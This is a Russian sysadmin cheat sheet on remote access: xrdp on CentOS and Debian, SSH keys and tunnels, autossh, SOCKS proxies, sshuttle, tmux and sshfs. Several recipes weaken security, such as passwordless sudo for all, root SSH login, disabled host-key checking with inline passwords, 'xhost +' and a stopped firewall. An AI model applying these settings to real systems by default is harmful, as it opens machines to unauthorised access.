развернуть
В этой статье мы рассмотрим установку xrdp на CentOS 7.
Для пущего интереса, давайте мы это рассмотрим с такой точки зрения: вы поставили CentOS в его минимальном варианте установки (minimal install), без компонентов рабочего стола и прочих утилит и вам понадобилось этот самый рабочий стол завести, и предоставить к нему доступ по rdp. Поэтому мы рассмотрим весь процесс самого начала.


GNOME


А сначала нам нужно установить компоненты рабочего стола — а именно GNOME. Сделать это можно следующим образом.


Получим список групп доступного для установки программного обеспечения


yum grouplist

или так


yum groups list

Среди текста вывода команд мы увидим строку «GNOME Desktop»

Она то нам и нужна.

Запустить установку мы можем одной из следующих команд


yum groupinstall "GNOME Desktop"

или


yum groups install "GNOME Desktop"

Это что касается рабочей станции. Если же вы устанавливаете GNOME на систему, выполняющую серверные функции, то лучше воспользоваться одной из следующих команд


yum groupinstall "Server with GUI"

или


yum groups install "Server with GUI"

После этого нам нужно указать, чтобы по умолчанию система загружалась в графический режим.


systemctl set-default graphical.target

Для того, чтобы активировать его без перезагрузки


systemctl start graphical.target

xrdp


Теперь перейдем к xrdp.

Сначала добавим нужный нам репозиторий. А понадобится нам EPEL — Extra Packages for Enterprise Linux. Найти ссылку на его текущую версию мы можем, заглянув по адресу http://download.fedoraproject.org/pub/epel.


В моем случае команды будут выглядеть следующим образом


wget http://download.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-6.noarch.rpm
rpm -ivh epel-release-7-6.noarch.rpm

Еще одним вариантом, и соответственно, с тем же результатом, будет следующая команда, которая представляет из себя объединение двух предыдущих строк


rpm -ivh http://download.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-6.noarch.rpm

Теперь, если мы введем команду


yum repolist

в списке вывода мы должны увидеть нечто подобное


epel/x86_64   Extra Packages for Enterprise Linux 7 - x86_64   10,042

Далее нам нужно установить xrdp.


yum install xrdp

Если после этого мы попытаемся запустить xrdp, то это у нас скорее всего не получится, а в логах (команда journalctl -xe) мы увидим сообщения «Failed at step EXEC spawning /usr/sbin/xrdp-sesman: Permission denied» и «Failed at step EXEC spawning /usr/sbin/xrdp: Permission denied».

Чтобы все-таки их запустить, нам нужно изменить контекст безопасности SELinux для этих двух файлов.


chcon -t bin_t /usr/sbin/xrdp
chcon -t bin_t /usr/sbin/xrdp-sesman

Запустить xrdp можно командой


systemctl start xrdp

а проверить, запустился ли он


systemctl status xrdp

Чтобы xrdp запускался каждый раз при старте системы


systemctl enable xrdp

Для подтверждения того, что он ожидает подключений на полагающемся ему порту 3389 можно ввести следующую команду


netstat -antup | grep xrdp

Firewall


Если на вашей системе активен межсетевой экран, потребуется разрешить прохождение трафика на порт 3389. Сделать это можно следующими командами


firewall-cmd --permanent --zone=public --add-port=3389/tcp
firewall-cmd --reload

Теперь можно попробовать подключиться к системе при помощи rdp-клиента, например, Microsoft Remote Desktop Connection.



https://sergeyvasin.net/2016/05/13/xrdp-centos/
установка сервера терминалов XRDP на Debian 9.



установка XRDP, VNC и SSH на Ubuntu и Debian 1

ssh
http://redhat-club.org/2011/установка-и-настройка-openssh-сервера-в-rhel-centos-fedora
Наглядное руководство по SSH-туннелям
Памятка пользователям ssh
Магия SSH
Полное руководство по SSH в Linux и Windows
Настройка SSH в BlackArch
Как перехватить пароль SSH. Атака человек-посередине на SSH

$ sudo apt install openssh-server
$ sudo systemctl enable sshd

$ ssh user@192.168.88.10
$ export DISPLAY=:0
$ nohup chromium "ya.ru"
$ ssh 192.168.0.100 'DISPLAY=:0 nohup vlc $HOME/Музыка/04\ Kadavergehorsam.mp3
$ ssh 192.168.0.100 'DISPLAY=:0 nohup notify-send "Hello" "World"'
$ ssh пользователь@комп 'команда1; команда2; команда3'
$ ssh root@192.168.88.10 'bash -s' < script.sh
$ ssh root@192.168.88.10 'uptime; df -h; free -m | cat /proc/loadavg'
$ ssh root@192.168.88.10 'reboot'
$ ssh user@192.168.88.10 "bash -s -- $args" < "$script"

отредактировать удалённый файл через ssh с использованием vim, вы можете сделать так.
sudo apt install vim
vim scp://ПОЛЬЗОВАТЕЛЬ@УДАЛЁННЫЙ_ХОСТ//home/user/path/file

сравнение (diff) локального файла и удалённого файла:
diff local_file.txt <(ssh user@remote_host 'cat remote_file.txt')
сравнение (diff) двух удалённых файлов:
diff <(ssh user@remote_host 'cat remote_file.txt') <(ssh user2@remote_host2 'cat remote_file2.txt')

монтирование
sudo apt install sshfs fuse
Для монтирования нужно запустить команду вида:
sshfs ПОЛЬЗОВАТЕЛЬ@УДАЛЁННЫЙ-ХОСТ:/ДИРЕКТОРИЯ/УДАЛЁННОГО/ХОСТА ТОЧКА-МОНТИРОВАНИЯ
если SSH работает на порту 2222, то команда будет такой:
sshfs ПОЛЬЗОВАТЕЛЬ@УДАЛЁННЫЙ-ХОСТ:/ДИРЕКТОРИЯ/УДАЛЁННОГО/ХОСТА ТОЧКА-МОНТИРОВАНИЯ -p 2222

https://ru.stackoverflow.com/questions/547626/Как-ввести-пароль-в-bash-через-скрипт
Как через скрипт ввести пароль?
$ sshpass -p 'пароль' ssh пользователь@сервер
aдреса постоянно меняются
$ sshpass -p 'пароль' ssh -q -o 'UserKnownHostsFile /dev/null' -o 'StrictHostKeyChecking no' пользователь@сервер
https://ru.wikipedia.org/wiki/Expect

управление ключами и доступ по ключу
Аутентификация на сервере Ubuntu с использованием ключей SSH
SSH авторизация по ключу
Вход ssh по ключу ( Linux/Unix )
SSH с высоты птичьего полёта, или разгребаем кучи ключей
Как конвертировать ключи SSH из формата PuTTY в формат OpenSSH
Создание и настройка ключей OpenSSH

Свой ключ можно сгенерировать с помощью команды ssh-keygen
Сменить пароль на ключ можно с помощью команды ssh-keygen -p

~/.ssh/id_rsa.pub — открытый ключ. Его копируют на сервера, куда нужно получить доступ.
~/.ssh/id_rsa — закрытый ключ. Его нельзя никому показывать

Первый раз, когда вы заходите на сервер, ssh вас спрашивает, доверяете ли вы ключу. Если отвечаете нет, соединение закрывается. Если да — ключ сохраняется в файл ~/.ssh/known_hosts

Удалить известный ключ сервера можно командой ssh-keygen -R server. При этом нужно удалить ещё и ключ IP (они хранятся раздельно): ssh-keygen -R 127.0.0.1

Клиентские открытые ключи нужно сохранить на ssh-сервере в файле ~/.ssh/authorized_keys (~ это домашняя директория того пользователя, которым будете логиниться), каждый на отдельной строке
Команда ssh-copy-id user@server позволяет скопировать ключ
Если у вас ssh на нестандартном порту, то ssh-copy-id требует особого ухищрения при работе: ssh-copy-id '-p 443 user@server' (внимание на кавычки)

Права на файл ~/.ssh/authorized_keys
В случае ручного создания файла ~/.ssh/authorized_keys на ssh-сервере необходимо задать следующие права:
chmod 0700 ~/.ssh
chmod 0600 ~/.ssh/authorized_keys



Настройка входа через SSH без пароля
На локальной машине (с которой заходим):
ssh-keygen -t rsa

Без предварительного подключения, выполняем команду на удалённой машине (IP и имя пользователя поменяйте на свои):
ssh mial@192.168.1.35 mkdir .ssh

Теперь нам нужно скопировать содержимое файла id_rsa.pub на удалённую машину. Сделать это очень просто (не забываем менять данные на свои):





советы по безопасности
Доступ только с определённых IP
Если планируется подключаться к серверу только с определённых IP-адресов, то можно внести строки в файл /etc/hosts.deny
sshd: ALL

В файл /etc/hosts.allow
Sshd: 188.120.252.0/24

Таким образом будет запрещён доступ по SSH для всех подсетей, кроме указанной.
После этого нужно перезапустить службу командой service sshd restart.

Смените порт SSH
Для этого в файле /etc/ssh/sshd_config необходимо раскомментировать и изменить Port 22 на свободный, это может быть любое число до 65536. и перезапустить службу service sshd restart

Используйте только ключи SSH
Пара ключей создаётся командой ssh-keygen. Секретный ключ (файл без расширения) копируется на ПК, а публичный (имяключа.pub) — в файл .ssh/authorized_keys на сервере.

Чтобы отключить авторизацию по паролю, в том же конфиге SSH нужно изменить директиву PasswordAuthentication yes на PasswordAuthentication no и перезапустить службу — останется авторизация только по ключу SSH.

Оция PermitRootLogin — может ли root входить в систему посредством SSH:
PermitRootLogin no
А эта директива определяет, какие пользователи могут логиниться в SSH:
AllowUsers alice bob

включить SSH доступ для пользователя root
vi /etc/ssh/sshd_config
PermitRootLogin yes
service ssh restart
systemctl restart sshd

разорвать TCP подключение используя утилиту tcpkill
sudo tcpkill -i ИНТЕРФЕЙС -9 port ПОРТ
sudo tcpkill -i ИНТЕРФЕЙС -9 host IP_ИЛИ_ДОМЕН

редактировать конфиги по sftp, sudo доступ
thunar редактировать конфиги по sftp, sudo доступ
thunar sftp://пользователь@сервер

sudo apt install gvfs-fuse gvfs-backends
thunar -q

вставить в свой файл /etc/ssh/sshd_config на стороне сервера:
Subsystem sftp sudo -n true && sudo -n /usr/lib/openssh/sftp-server || /usr/lib/openssh/sftp-server
закомментить
#Subsystem sftp /usr/lib/openssh/sftp-server

systemctl restart sshd

в /etc/sudoers просто поместите новые записи после них.
sudo visudo
Новая запись должна выглядеть
myuser ALL=(ALL) NOPASSWD: ALL для одного пользователя, или
%sudo ALL=(ALL) NOPASSWD: ALL для группы.

Удалённый экран через SSH
Для того, чтобы разрешить форвардинг X11, удалённый сервер должен быть соответствующим образом сконфигурирован. Соответствующие настройки делаются в файле /etc/ssh/sshd_config:
...
AcceptEnv LANG LC_CTYPE LC_NUMERIC LC_TIME LC_COLLATE
AcceptEnv LC_MONETARY LC_MESSAGES
AcceptEnv LC_PAPER LC_NAME LC_ADDRESS LC_TELEPHONE
AcceptEnv LC_MEASUREMENT LC_IDENTIFICATION LC_ALL LANGUAGE
#AllowAgentForwarding yes
#AllowTcpForwarding yes
#GatewayPorts no
X11Forwarding yes
...
Настройки туннелирования X11 могут быть также включены/запрещены для каждого пользователя отдельно:
...
Match User bilbobaggins
X11Forwarding no
...
Внося изменения в конфигурационный файл сервера OpenSSH, не забывайте перезапускать его для того, чтобы изменения ступили в силу:
sudo service sshd restart

На стороне клиента, в файле /etc/ssh/ssh_config необходимо включить опцию Forward11Trusted. В Fedora эта опция включена по умолчанию, в то время как в некоторых других дистрибутивах вам придётся сделать это самостоятельно:
...
ForwardX11Trusted yes
...
Имейте ввиду, что расположение файлов конфигурации OpenSSH в различных дистрибутивах могут быть разными.


Xpra выполнение графических приложений без привязки к текущему X-сеансу
http://www.xpra.org/
http://winswitch.org/
Учимся переносить запущенные программы с одного компьютера на другой
Выпуск Xpra 0.10, аналога утилиты screen для графических программ

Возможно использование xpra и из командной строки. На удалённом хосте, на котором необходимо запустить приложение (в примере запускается xterm), выполняем:
xpra start :100 --start-child=xterm

после чего подсоединяемся с другой машины к созданному сеансу
xpra attach ssh:имя_сервера:100

Запуск графических приложений через SSH (X11Forwarding)

sudo apt-get install xauth

Настройка сервера
/etc/ssh/sshd_config
...
X11Forwarding yes
...
Перезагрузка
/etc/init.d/sshd restart

Настройка клиента
/etc/ssh/ssh_config
...
ForwardX11 yes

Запуск
Заходим на удаленный хост и потом запускаем приложение kopete

ssh -XC user1@remotehost
xterm
Сразу запустить приложение xterm

ssh -XC user1@remotehost "xterm"
Опции:
X : перенаправлять графический вывод
С : компрессия передаваемых данных

если не работает проверить права на удаленном хосте
ls -l ~/.Xauthority
если не помогло, добавить на сервере в sshd_config
XAuthLocation /usr/bin/xauth


Долгое Подключение по SSH — Убираем Задержку
Настройка быстрого подключения по SSH в Linux
Ssh долго подключается или тупит Ubuntu

Для того чтобы проверить, надо запустить ssh коннект с флагом -v
ssh -o GSSAPIAuthentication=no user@exampleserver.com -v

1. UseDNS
В основном, подключение по SSH происходит медленно из-за неудачных попыток разрешения имен в системе DNS.

Чтобы уменьшить время ожидания при входе, открываем на редактирование следующий файл:
vi /etc/ssh/sshd_config

Находим строку:
#UseDNS yes

И приводим ее к следующему виду:
UseDNS no

* в конкретном примере мы сняли комментарий и заменили yes на no, чем отключили разрешение DNS-имен при каждой попытке подключения. Если на нашем Linux сервере не настроены DNS (или настроены неправильно), это решит проблему медленного SSH.
** если такой строчки нет, необходимо ее дописать.

Чтобы изменнения вступили в силу, перезагружаем сервис:
systemctl restart sshd || systemctl restart ssh
* или service sshd restart || service ssh restart

2. GSSAPIAuthentication
GSSAPI предоставляет API для различных вариантов аутентификации в системе. Однако, в большинстве случаем, используется стандартный метод PAM. Если отключить GSSAPI, это может значительно ускорить вход по SSH.

Открываем sshd_config:
vi /etc/ssh/sshd_config

И приводим две строки к следующему виду:
GSSAPIAuthentication no
GSSAPICleanupCredentials yes

* в данном примере мы отключили аутентификацию с использованием GSS-API (общий программный интерфейс сервисов безопасности). Он может быть использован, например, для связки с Kerberos. Однако, чаще всего используется метод PAM и надобность в GSSAPIAuthentication отсутствует.

Перезапускаем:
systemctl restart sshd || systemctl restart ssh

3. motd
В Linux Ubuntu при входе файл приветствия /etc/motd выполняет различные задачи, например, проверку обновлений, которая может замедлить вход. В этом случае торможение будет на этапе после ввода пароля.

Для отключения модуля приветствия, открываем на редактирование два файла:
vi /etc/pam.d/login
vi /etc/pam.d/sshd

И комментируем все строки, в которых присутствует pam_motd.so.
Перезапускаем sshd:
systemctl restart sshd || systemctl restart ssh

ssh подключение к GParted Live CD/USB/PXE/HD, Clonezilla live и
SystemRescueCd

nano /etc/hosts.deny
закомментировать строку ALL: ALL EXCEPT localhost
#ALL: ALL EXCEPT localhost

затем рестартануть sshd
/etc/init.d/ssh restart

пользователь по умолчанию user пароль live

в SystemRescueCd sshd уже запущен и нет блокировок, нужно только изменить пароль root и отключить фрайвол
systemctl stop iptables.service ip6tables.service
или при загрузке нажать tab и вбить опцию загрузки nofirewall


ошибки при подключении
если при подключении по ssh ошибка no matching cipher found. Their offer: aes128-cbc,3des-cbc,aes192-cbc,aes256-cbc
то подключаться
ssh -c aes256-cbc user@address
если no matching key exchange method found. Their offer: diffie-hellman-group1-sha1
то подключаться
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 user@address
если ошибка no matching cipher found. Their offer: 3des-cbc
то
ssh -c 3des-cbc -oKexAlgorithms=+diffie-hellman-group1-sha1 user@address


https://codeplanet.io/connection-reset-by-peer/
ssh_exchange_identification: read: Connection reset by peer

ssh username@address.com -vv
sudo service ssh stop
sudo /usr/sbin/sshd -d

debug1: Connection refused by tcp wrapper

vi /etc/hosts.allow
добавить
sshd: ALL

sudo service ssh stарт


SSH-туннели — пробрасываем порт
создание постоянного SSH-тоннеля

ssh -N -R 80:localhost:80 root@104.131.xxx.xxx

Установка time-out для SSH в Linux
vim ~/.bashrc
TMOUT=3600

Как повторно подключиться к отключенному сеансу SSH
https://serverfault.com/questions/19634/how-to-reconnect-to-a-disconnected-ssh-session
tty
apt install reptyr
ps -aux |grep 'pts/3'
reptyr -T 6447

autossh
Как Ваш компьютер может дать доступ к себе через туннель средствами ssh, autossh, autosshd
Поддержание SSH-туннеля в активном состоянии при помощи AutoSSH

Обратный туннель SSH с AutoSSH
Как настроить постоянно работающий SSH-туннель
apt install autossh
autossh -M 5122 -N -R 5022:localhost:22 rex - связывание порта 5022 на удалённом хосте rex и порта 22 на локальной машине
Для autossh обязательна опция -M, которая задает порт для мониторинга соединения
Чтобы запустить autossh в фоновом режиме, добавляем опцию -f
Чтобы завершить процесс, используем команду pkill:
$ pkill autossh

Создание SSH-туннеля. Часть третья
$ autossh -M 0 -f -N -p 2222 -o "ServerAliveInterval 30" -o "ServerAliveCountMax 3" \ -o "ExitOnForwardFailure yes" -R 3306:127.0.0.1:3306 evgeniy@192.168.110.8

https://switch-case.ru/71908031
autossh -fNL 192.168.0.1:80:1.2.3.4:80 user@1.2.3.4 -p 22 -i /home/user/.ssh/my_key

https://blog.zerial.org/linux/tip-mantener-sesiones-ssh-activas-con-autossh/
Мы передаем «autossh» те же параметры, что и ssh, например:
autossh -L5022:10.0.0.11:22 -L5023:10.0.0.15:22 -L5024:10.0.0.20:22 10.0.0.1
для привязки локальных портов к различным удаленным машинам. ИЛИ
autossh -R2200:localhost:22 example.com
Чтобы привязать удаленные порты к нашей локальной машине.

https://qastack.ru/superuser/37738/how-to-reliably-keep-an-ssh-tunnel-open
autossh -M 20000 -f -N your_public_server -R 1234:localhost:22 -C
autossh -f -nNT -i ~/keypair.pem -R 2000:localhost:22 username@myoutsidebox.com

Создание и поддержание SSH-туннеля

Настройка SSH-тунеля
В самом простом случае ssh-тунель создается командой:
ssh -L 33060:localhost:3306 -i /home/user/.ssh/id_rsa -f -N [email protected]
где
f - выполнять в фоне.
i - путь до ключа, по которому будет происходить авторизация на сервере master.
N - не выполнять никаких команд. Я так понимаю, если вдруг в сценариях logon на сервере master заданы какие-то команды - выполнение их пропускается.
L - задаёт port forwarding. В данном случае, локальный порт 33060 на сервере slave мапится на локальный порт 3306 на сервере master.

Для автоматизации этого процесса есть утилита autossh, которая следит за тем, что тунель работает, и в противном слуае запускает его заново.

autossh -M 0 -o ServerAliveInterval 30 -o ServerAliveCountMax 3 -L 33060:localhost:3306 -i /home/user/.ssh/id_rsa -N
где
M - задает порт мониторинга. По этим портам происходит проверка работоспособности тунеля. 0 отключит мониторинг, а autossh перезапустит ssh только при выходе из ssh.
o - задание дополнительных опций.
L - маппинг портов.
i - путь к ключу, по которому будет происходить авторизация при подключении к серверу master.
N - не выполнять команд при подключении.
f - выполнять в фоне. Этот параметр не передается в ssh, а выполнение в фоне обеспечивает сама утилита autossh.

Теперь надо настроить запуск этой команды при загрузке системы. Это можно сделать используя systemd.

Создаем сервис. Для этого создаем файл
sudo vi /etc/systemd/system/autossh-mysql-tunnel.service
со следующим содержанием



Параметр -f можно не использовать, так как systemd не понимает этот параметр.

Перезагружаем systemd, чтобы сервис стал доступен:
sudo systemctl daemon-reload
Запускаем сервис и помещаем его в автозагрузку:
sudo systemctl start autossh-mysql-tunnel.service
sudo systemctl enable autossh-mysql-tunnel.service
Проверить статус можно с помощью команды:
sudo systemctl status autossh-mysql-tunnel


https://github.com/aktos-io/link-with-server

ssh proxy via host
Перенаправление (forwarding) портов SSH

http://ruslash.com/ssh-proxy-via-host/
На локальном хосте выполняем:
$ ssh -L 8888:localhost:8888 HOSTA
На следующем хосте
$ ssh -D 8888 HOSTX
Потом подключаемся на локальный 8888 порт и используем его в качестве socks прокси.

https://wiki.enchtex.info/practice/ssh_socks_proxy_server
на локальной машине подключаемся к удаленной системе с помощью команды:
$ ssh -D8080 user@server
где -D8080 – произвольный номер порта.
в настройках программы выбираем использоваться socks прокси на адрес 127.0.0.1:8080


Создаём SOCKS 5 прокси с помощью SSH-соединения через удалённый сервер в Linux
Cоздать SOCKS 5 прокси довольно просто. Достаточно выполнить команду по следующей схеме:

ssh -f -C2qTnN -D <порт> <удаленный_пользователь>@<удаленный_сервер> -p 22
Где
-f Запросит ssh перейти в фоновый режим только перед выполнением команды.
-C Включит сжатие всех данных (включая stdin, stdout, stderr и данные для перенаправленных Х11 и TCP/IP соединений).
-2 Принуждает ssh использовать только протокол версии 2.
-q Тихий режим. Подавляет все предупреждения и диагностические сообщения. Будут отображены только фатальные ошибки.
-T Отменить переназначение терминала.
-n Перенаправляет стандартный ввод из /dev/null (фактически, предотвращает чтение из стандартного ввода).
-N Не выполнять удаленную команду.
-D [локальный IP : ] порт
-p указывает, какой порт использовать; очевидно, это значение по умолчанию равно 22, поэтому приведенное выше утверждение не имеет смысла, но включено для ясности.

Например:

ssh -f -C2qTnN -D 1080 roman@8.8.8.8
После введения пароля к удаленному серверу, SSH перейдёт в фоновый режим.

Далее вам следует открыть любой браузер, в котором прописать адрес SOCKS 5 прокси в параметрах соединения.

Для примера я взял Firefox.
Идём «Правка» → «Настройки» → вкладка «Дополнительно» → вкладка «Сеть» → раздел «Соединение» → кнопка «Настроить»
Устанавливаем там пункт «Ручная настройка сервиса прокси», в поле «Узел SOCKS» пишем наш IP адрес (обычно 127.0.0.1), а в поле «Порт» — указанный порт (в примере 1080).
Ставим ключ на пункт «SOCKS 5» и применяем настройки.

Как мне настроить локальный SOCKS прокси, который туннелирует трафик через SSH?

Как настроить прокси через туннель SSH в Ubuntu: примеры с Firefox и Chrome
создайте прокси SOCKS на локальном хосте: 9999 (выберите любой неиспользуемый порт) через соединение SSH с портом , используя имя пользователя [Unknown site tag]. Вам может быть предложено ввести пароль.
Фактический пример:
$ ssh -D 9999 -f -C -N johndoe@path.to.proxy.server.edu -p 52831

SSH через HTTP прокси
http://www.zeitoun.net/articles/ssh-through-http-proxy/start
https://www.math.ucla.edu/computing/kb/creating-ssh-proxy-tunnel-putty


mosh
https://mosh.org/
Инструмент Mosh — альтернативный вариант для SSH и как его использовать
Mosh — SSH с блекджеком и роумингом
Утилита Mosh как замена SSH
законектится
$ mosh user_name@my_host.com

Запустить интерактивную команду вместо $SHELL:
$ mosh my_host.com htop

Использование другого порта для сессии на сервере:
$ mosh --ssh="ssh -p 2213" my_host.com

mosh --ssh="/bin/ssh -MY_FAVOURITE_SSH_OPTION" host

tmux
https://wiki.archlinux.org/index.php/Tmux_(Русский)
Краткая шпаргалка по tmux (менеджеру терминалов)
Tmux — что это и зачем? Обзор и урок tmux
GNU Screen и tmux: ключ к эффективному использованию консоли
Шпаргалка по работе с Tmux (терминальный мультиплексор)
Поддержка мышки в Midnight Commander запущенного из под tmux/screen

небольшой конфигурационный файл:
$ vi ~/.tmux.conf




vi ~/.profile




$ tmux source-file ~/.tmux.conf
кратко
для подключения обратно используется другой аргумент командной строки:
$ tmux attach

для перехода к предыдущему окну следует использовать следующую команду:
$ tmux last-window

А для создания окна такую:
$ tmux new-window

Весь перечень поддерживаемых команд можно получить так:
$ tmux list-commands

Получить список всех возможных опций можно так:
$ tmux show-options
$ tmux show-window-options

Очень хороший способ запустить tmux:
tmux attach || tmux new — делая так, вы сперва пытаетесь подключиться к уже существующему серверу tmux, если он существует; если такого ещё нет — создаёте новый.
tmux new -s session1 - создание сессии с именем session1
tmux attach -t session1 - подключение к сессии session1
tmux a -t session1
Ctrl+b s Выбрать сессию
tmux kill-session -t session1 - Завершение сессии

После этого вы попадаете в полноценную консоль.
Ctrl+b d — отключиться. (Точно так же вы отключитесь, если прервётся соединение. Как подключиться обратно и продолжить работу — см. выше.)

В одной сессии может быть сколько угодно окошек:
Ctrl+b c — создать окошко;
Ctrl+b 0...9 — перейти в такое-то окошко;
Ctrl+b p — перейти в предыдущее окошко;
Ctrl+b n — перейти в следующее окошко;
Ctrl+b l — перейти в предыдущее активное окошко (из которого вы переключились в текущее);
Ctrl+b & — закрыть окошко (а можно просто набрать exit в терминале).

В одном окошке может быть много панелей:
Ctrl+b % — разделить текущую панель на две, по вертикали;
Ctrl+b " — разделить текущую панель на две, по горизонтали (это кавычка, которая около Enter, а не Shift+2);
Ctrl+b →←↑↓ — переходить между панелями;
Ctrl+b x — закрыть панель (а можно просто набрать exit в терминале).

Недостаток — непривычным становится скроллинг:
Ctrl+b PgUp — вход в «режим копирования», после чего:
PgUp, PgDown — скроллинг;
q — выход из «режима копирования».

работа с tmux
Старт
# tmux //без параметров будет создана сессия 0
# tmux new -s session1 //новая сессия session1. Название отображается снизу-слева в квадратных скобках в статус строке. Далее идет перечисление окон. Текущее окно помечается звездочкой.

Префикс (с него начинаются команды)
<C-b> (CTRL + b)

Новое окно (нажать CTRL+b, затем нажать с)
<C-b c>

Список окон
<C-b w> // переключиться курсором вверх-вниз

Переключение
<C-b n> // следующее окно
<C-b p> // предыдущее окно
<C-b 0> // переключиться на номер окна

Окна можно делить на панели (Panes)
Как в тайловых (мозаичных) оконных менеджерах.

Деление окна горизонтально
<C-b ">
либо команда
# tmux split-window -h

Деление окна вертикально
<C-b %>
либо команда
# tmux split-window -v

Переход между панелей
<C-b стрелки курсора> // либо режим мыши

Изменение размеров панелей
<C-b c-стрелки> // либо режим мыши

Закрытие окон
<C-b x> // нужно подтвердить y
либо
# exit

Отключение от сессии
<C-b d>
либо
# tmux detach

Список сессий
# tmux ls

Подключиться к работающей сессии
# tmux attach //подключение к сессии, либо к единственной, либо последней созданной
# tmux attach -t session1 // подключение к сессии session1

Выбрать сессию
<C-b s>

Завершение сессии
# tmux kill-session -t session1

Завершить все сессии
# tmux kill-server

Список поддерживаемых комманд
# tmux list-commands

Дополнительная информация
# man tmux

Магия ssh
Доступ к ssh серверу через очень зарегулированное подключение
Shellinabox — если вдруг заблокируют SSH
https://github.com/sshuttle/sshuttle
https://www.stunnel.org/config_unix.html
https://github.com/erebe/wstunnel
https://github.com/tsl0922/ttyd
https://github.com/stuicey/SSHy
https://xtermjs.org/

Использование утилиты tar по сети через SSH

SSLH
http://rutschle.net/pipermail/sslh/
Краткий экскурс в sslh
SSLH - МУЛЬТИПЛЕКСОР SSL / SSH
Мультиплексирование ssl/ssh соединений через один 443 порт
SSLH: Прячем SSH/HTTPS/OpenVPN/Telegram за единым портом 443
SSLH: Запускаем SSH, OpenVPN, HTTPS, Socks5 и MTProto-proxy на 443 порту

ssh VPN
https://github.com/anderspitman/awesome-tunneling
SSH-туннель вместо белого IP: как получить доступ к домашнему серверу
Выполнение UDP-туннелирования через SSH-соединение
VPN через SSH

https://www.stunnel.org/
Stunnel на сервере и клиенте

Shellinabox — если вдруг заблокируют SSH
SSH через Xray

Превращаем любой SSH-сервер в полноценный VPN с помощью утилиты sshuttle
sshuttle --dns -r user@ip_сервера_или_доменное_имя 0.0.0.0/0

https://github.com/sshuttle/sshuttle
https://sshuttle.readthedocs.io/en/stable/

pip install sshuttle

создаем скрипт с именем типа vpn.sh:



Здесь eax и 11.22.33.44 нужно заменить на имя пользователя и IP-адрес вашего сервера.

Далее говорим:
chmod u+x ./vpn.sh
sudo ./vpn.sh

… и ждем появления строчки:
client: Connected.

Проверяем, что все работает:
curl https://eax.me/ip/

В ответ должен прийти IP-адрес использованного SSH-сервера. Также проверяем, что используется DNS-сервер, указанный в переменной $DNS:
dig eax.me

В ответ должно прийти что-то вроде:
...
;; Query time: 20 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)

… где 8.8.8.8 — это выбранный нами DNS-сервер. В данном случае это сервер компании Google.

Напоследок вот вам несколько занимательных фактов о sshuttle:

Чтобы все работало, на сервере не требуются ни root, ни sudo;
Утилита не ломается, если попытаться сделать VPN внутри VPN;
Также вы можете использовать ее совместно с OpenVPN или каким-нибудь Tor;


доступ к узлам за NAT или с динамическим IP
https://github.com/gjedeer/tuntox
./tuntox -i -L 2222:127.0.0.1:22
ssh -p 2222 myuser@localhost
ssh -o ProxyCommand='./tuntox -i -W localhost:22' gdr@localhost


SSHFS
https://wiki.archlinux.org/title/SSHFS_(Русский)
https://sysadminium.ru/mount-sshfs/
Монтирование удаленной директории с помощью sshfs. Часть 2 из 2
Подключение и настройка SSHFS в Linux
Как настроить SSH вход без пароля

sudo apt install sshfs fuse

Чтобы получить возможность монтировать от имени обычного пользователя необходимо создать группу fuse:
sudo groupadd fuse
sudo usermod -aG fuse $USER
либо sudo vim /etc/fuse.conf
user_allow_other
тогда монтирование будет с опцией sshfs -o allow_other

Аутентификация по ключу
ssh-keygen -t rsa -b 4096 -C "your_email@domain.com"
ssh-copy-ide [remote_username]@[server_ip_address]
Открытый ключ автоматически копируется в файл .ssh/authorized_keys

sshfs [remote_username]@[server_ip_address]:/patch /mnt/stor/
sshfs -o ssh_command='ssh -q -o BatchMode=yes -o StrictHostKeyChecking=no' server_ip_address:/patch /mnt/stor/

Если по каким-то причинам нельзя настроить аутентификацию по ключу, можно использовать утилиту sshpass. Опция -f для утилиты sshpass говорит о том, что пароль доступа к серверу сохранен в файле ~/server.pass
sshfs -f -o allow_other developer@123.123.123.123:/var/www/ /home/evgeniy/var-www/

отмонтировать
fusermount -u /opt/repo

vim /etc/fstab
USERNAME@HOSTNAME_OR_IP:/REMOTE/DIRECTORY /LOCAL/MOUNTPOINT fuse.sshfs defaults,_netdev 0 0



установка XRDP, VNC и SSH на Ubuntu и Debian 2

XRDP

usermod -aG audio,video пользователь

sudo apt install xrdp
sudo dpkg-reconfigure xserver-xorg-legacy

Xrdp настройка Xfce sevo44-1



выбираем "кто угодно"

sudo mv /etc/xrdp/startwm.sh /etc/xrdp/startwm.sh.BACKUP
sudo nano /etc/xrdp/startwm.sh




Важно! Обратите внимание на тот факт, что в конце файла необходимо добавить пустую строку.

sudo chmod +x /etc/xrdp/startwm.sh

hwinfo |grep XkbModel

sudo mv /etc/xrdp/xrdp_keyboard.ini /etc/xrdp/xrdp_keyboard.ini.BACKUP
sudo nano /etc/xrdp/xrdp_keyboard.ini




echo xterm > ~/.xsession # ( если этого файла нет домашнем каталоге)
sudo service xrdp restart

systemctl is-enabled xrdp # проверить есть ли в автозагрузке
systemctl disable xrdp # убрать из автозагрузки
systemctl enable xrdp # добавить в автозагрузку
systemctl start xrdp # запустить

rdesktop -z -P -g 1280x1024 127.0.0.1 -k en-us

если ошибки с локалью, то вбить export LANG=ru_RU.utf8

если возникает ошибка невозможно получить доступ к '/home/пользователь/thinclient_drives': Отказано в доступе
то sudo umount -f thinclient_drives
после этого вы должны переименовать thinclient_drives в .thinclient_drives

vi (m) /etc/xrdp/sesman.iniфайл.
В [Chansrv] добавить: FuseMountName=/tmp/%u/thinclient_drives
Выйдите из системы и войдите снова. Теперь thinclient_drives будут смонтированы /tmp/{uid}/thinclient_drives.
Можно rmdir thinclient_drives в своем хомедире.

ошибка при запуске с sudo или su
"Не удалось подключиться к: В соединении отказано Ошибка инициализации GTK."
вбить
xhost si:localuser:root
после
sudo программа
или что безопасней
export XAUTHORITY=$HOME/.Xauthority
sudo программа

запуск графических приложений из snap

nano /etc/xrdp/sesman.ini
env | grep DBUS
sudo lshw -C display
xwininfo -tree -root
echo $DISPLAY

sudo lshw -C display
ps -ef | grep Xorg
pkexec env DISPLAY=$DISPLAY XAUTHORITY=$XAUTHORITY программа
export PATH="/snap/bin/:$PATH"
Xvfb -ac :10 -screen 0 1280x1024x16 & export DISPLAY=:10

xhost +
xhost +local:
xhost +si:localuser:root
xhost +si:localuser:пользователь

ssh username@hostname -X
